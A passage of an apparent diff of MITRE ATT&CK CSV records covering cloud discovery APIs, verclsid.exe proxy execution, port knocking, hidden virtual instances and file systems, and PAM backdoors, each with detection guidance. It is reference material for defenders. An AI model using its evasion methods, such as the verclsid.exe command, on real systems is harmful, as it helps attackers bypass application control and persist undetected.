sender of the request.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project(Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) +Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket (Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block). +Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) -An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020) Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.",attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d,attack-pattern,['discovery'],2021-03-08T10:33:02.163Z,2020-08-20T17:51:25.671Z,"Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","['Instance: Instance Metadata', 'Instance: Instance Enumeration', 'Snapshot: Snapshot Metadata', 'Snapshot: Snapshot Enumeration', 'Cloud Storage: Cloud Storage Metadata', 'Cloud Storage: Cloud Storage Enumeration', 'Volume: Volume Metadata', 'Volume: Volume Enumeration']",['Praetorian'],,['User'],['IaaS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1218.012', 'url': 'https://attack.mitre.org/techniques/T1218/012'}, {'source_name': 'WinOSBite verclsid.exe', 'url': 'https://www.winosbite.com/verclsid-exe/\xa0', 'description': 'verclsid-exe. (2019, December 17). verclsid.exe File Information - What is it & How to Block\xa0. Retrieved August 10, 2020.'}, {'source_name': 'LOLBAS Verclsid', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Verclsid/', 'description': 'LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020.'}, {'source_name': 'Red Canary Verclsid.exe', 'url': 'https://redcanary.com/blog/verclsid-exe-threat-detection/', 'description': 'Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020.'}, {'source_name': 'BOHOPS Abusing the COM Registry', 'url': 'https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/', 'description': 'BOHOPS. (2018, August 18). Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020.'}, {'source_name': 'Nick Tyrer GitHub', 'url': 'https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5', 'description': 'Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1218/012,mitre-attack,T1218.012,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Verclsid,"Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe) +An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.",['discovery'],https://attack.mitre.org/techniques/T1580,mitre-attack,T1580,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Regina Elwell', 'Isif Ibrahima', 'Praetorian']","['Instance: Instance Metadata', 'Instance: Instance Enumeration', 'Snapshot: Snapshot Metadata', 'Snapshot: Snapshot Enumeration', 'Cloud Storage: Cloud Storage Metadata', 'Cloud Storage: Cloud Storage Enumeration', 'Volume: Volume Metadata', 'Volume: Volume Enumeration']",,"Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",False,['User'],['IaaS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/012', 'external_id': 'T1218.012'}, {'source_name': 'WinOSBite verclsid.exe', 'description': 'verclsid-exe. (2019, December 17). verclsid.exe File Information - What is it & How to Block\xa0. Retrieved August 10, 2020.', 'url': 'https://www.winosbite.com/verclsid-exe/\xa0'}, {'source_name': 'LOLBAS Verclsid', 'description': 'LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Verclsid/'}, {'source_name': 'Red Canary Verclsid.exe', 'description': 'Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020.', 'url': 'https://redcanary.com/blog/verclsid-exe-threat-detection/'}, {'source_name': 'BOHOPS Abusing the COM Registry', 'description': 'BOHOPS. (2018, August 18). Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020.', 'url': 'https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/'}, {'source_name': 'Nick Tyrer GitHub', 'description': 'Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020.', 'url': 'https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5'}]",1.0,attack-pattern,attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-08-10T13:59:38.443Z,2020-08-19T19:29:18.138Z,Verclsid,"Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe) -Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since it is signed and native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) ",attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327,attack-pattern,['defense-evasion'],2020-08-19T19:29:18.138Z,2020-08-10T13:59:38.443Z,"Use process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications.","['Process: Process Creation', 'Command: Command Execution']","['Rodrigo Garcia, Red Canary']","['Application control', 'Digital Certificate Validation']",['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1205.001', 'url': 'https://attack.mitre.org/techniques/T1205/001'}, {'url': 'https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631', 'description': 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.', 'source_name': 'Hartrell cd00r 2002'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",1.1,True,https://attack.mitre.org/techniques/T1205/001,mitre-attack,T1205.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Port Knocking,"Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. +Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since it is signed and native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) ",['defense-evasion'],https://attack.mitre.org/techniques/T1218/012,mitre-attack,T1218.012,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Rodrigo Garcia, Red Canary']","['Process: Process Creation', 'Command: Command Execution']","['Application control', 'Digital Certificate Validation']","Use process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications.",True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1205/001', 'external_id': 'T1205.001'}, {'source_name': 'Hartrell cd00r 2002', 'description': 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.', 'url': 'https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631'}]",1.1,attack-pattern,attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-07-01T18:23:25.002Z,2020-10-21T01:26:31.804Z,Port Knocking,"Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system. -The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.",attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd,attack-pattern,"['defense-evasion', 'persistence', 'command-and-control']",2020-10-21T01:26:31.804Z,2020-07-01T18:23:25.002Z,"Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']",,,['User'],"['Linux', 'macOS', 'Windows', 'Network']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1564.006', 'url': 'https://attack.mitre.org/techniques/T1564/006'}, {'source_name': 'SingHealth Breach Jan 2019', 'url': 'https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx', 'description': ""Committee of Inquiry into the Cyber Attack on SingHealth. (2019, January 10). Public Report of the Committee of Inquiry into the Cyber Attack on Singapore Health Services Private Limited's Patient Database. Retrieved June 29, 2020.""}, {'source_name': 'Sophos Ragnar May 2020', 'url': 'https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/', 'description': 'SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1564/006,mitre-attack,T1564.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Run Virtual Instance,"Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019) +The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.","['defense-evasion', 'persistence', 'command-and-control']",https://attack.mitre.org/techniques/T1205/001,mitre-attack,T1205.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']",,"Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.",True,['User'],"['Linux', 'macOS', 'Windows', 'Network']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564/006', 'external_id': 'T1564.006'}, {'source_name': 'SingHealth Breach Jan 2019', 'description': ""Committee of Inquiry into the Cyber Attack on SingHealth. (2019, January 10). Public Report of the Committee of Inquiry into the Cyber Attack on Singapore Health Services Private Limited's Patient Database. Retrieved June 29, 2020."", 'url': 'https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx'}, {'source_name': 'Sophos Ragnar May 2020', 'description': 'SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.', 'url': 'https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/'}, {'source_name': 'Shadowbunny VM Defense Evasion', 'description': 'Johann Rehberger. (2020, September 23). Beware of the Shadowbunny - Using virtual machines to persist and evade detections. Retrieved September 22, 2021.', 'url': 'https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/'}]",1.1,attack-pattern,attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-29T15:36:41.535Z,2021-10-14T22:21:59.708Z,Run Virtual Instance,"Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019) + +Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)",['defense-evasion'],https://attack.mitre.org/techniques/T1564/006,mitre-attack,T1564.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Johann Rehberger', 'Janantha Marasinghe', 'Menachem Shafran, XM Cyber']","['Process: Process Creation', 'File: File Creation', 'Command: Command Execution', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification']",,"Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring the size of virtual machines running on the system. Adversaries may create virtual images which are smaller than those of typical virtual machines.(Citation: Shadowbunny VM Defense Evasion) Network adapter information may also be helpful in detecting the use of virtual instances. -Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)",attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d,attack-pattern,['defense-evasion'],2020-07-06T19:03:40.330Z,2020-06-29T15:36:41.535Z,"Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a headless (in the background with no UI) virtual instance may be especially suspect. Network adapter information may also be helpful in detecting the use of virtual instances. +Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages ""all""). -If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. +Monitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. -Benign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.","['Process: Process Creation', 'File: File Creation', 'Command: Command Execution', 'Service: Service Creation', 'Windows Registry: Windows Registry Key Modification']","['Janantha Marasinghe', 'Menachem Shafran, XM Cyber']",,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1564.005', 'url': 'https://attack.mitre.org/techniques/T1564/005'}, {'source_name': 'MalwareTech VFS Nov 2014', 'url': 'https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html', 'description': 'Hutchins, M. (2014, November 28). Virtual File Systems for Beginners. Retrieved June 22, 2020.'}, {'url': 'https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html', 'description': 'Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.', 'source_name': 'FireEye Bootkits'}, {'source_name': 'ESET ComRAT May 2020', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf', 'description': 'Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.'}, {'source_name': 'Kaspersky Equation QA', 'description': ""Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015."", 'url': 'https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1564/005,mitre-attack,T1564.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Hidden File System,"Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014) +Benign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.",True,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564/005', 'external_id': 'T1564.005'}, {'source_name': 'MalwareTech VFS Nov 2014', 'description': 'Hutchins, M. (2014, November 28). Virtual File Systems for Beginners. Retrieved June 22, 2020.', 'url': 'https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html'}, {'source_name': 'FireEye Bootkits', 'description': 'Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html'}, {'source_name': 'ESET ComRAT May 2020', 'description': 'Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf'}, {'source_name': 'Kaspersky Equation QA', 'description': ""Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015."", 'url': 'https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf'}]",1.0,attack-pattern,attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-28T22:55:55.719Z,2020-06-29T15:12:11.024Z,Hidden File System,"Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014) -Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)",attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04,attack-pattern,['defense-evasion'],2020-06-29T15:12:11.024Z,2020-06-28T22:55:55.719Z,"Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity.","['Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Firmware: Firmware Modification']",,,"['User', 'Administrator']","['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1556.003', 'url': 'https://attack.mitre.org/techniques/T1556/003'}, {'source_name': 'Apple PAM', 'url': 'https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt', 'description': 'Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020.'}, {'source_name': 'Man Pam_Unix', 'url': 'https://linux.die.net/man/8/pam_unix', 'description': 'die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020.'}, {'source_name': 'Red Hat PAM', 'url': 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules', 'description': 'Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020.'}, {'source_name': 'PAM Backdoor', 'url': 'https://github.com/zephrax/linux-pam-backdoor', 'description': 'zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020.'}, {'source_name': 'PAM Creds', 'url': 'https://x-c3ll.github.io/posts/PAM-backdoor-DNS/', 'description': 'Fernández, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",2.0,True,https://attack.mitre.org/techniques/T1556/003,mitre-attack,T1556.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Pluggable Authentication Modules,"Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM) +Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)",['defense-evasion'],https://attack.mitre.org/techniques/T1564/005,mitre-attack,T1564.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Firmware: Firmware Modification']",,"Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity.",True,"['User', 'Administrator']","['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1556/003', 'external_id': 'T1556.003'}, {'source_name': 'Apple PAM', 'description': 'Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020.', 'url': 'https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt'}, {'source_name': 'Man Pam_Unix', 'description': 'die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020.', 'url': 'https://linux.die.net/man/8/pam_unix'}, {'source_name': 'Red Hat PAM', 'description': 'Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020.', 'url': 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules'}, {'source_name': 'PAM Backdoor', 'description': 'zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020.', 'url': 'https://github.com/zephrax/linux-pam-backdoor'}, {'source_name': 'PAM Creds', 'description': 'Fernández, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020.', 'url': 'https://x-c3ll.github.io/posts/PAM-backdoor-DNS/'}]",2.0,attack-pattern,attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-26T04:01:09.648Z,2021-10-17T14:48:33.580Z,Pluggable Authentication Modules,"Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM) Adversaries may modify components of the PAM system to create backdoors. PAM 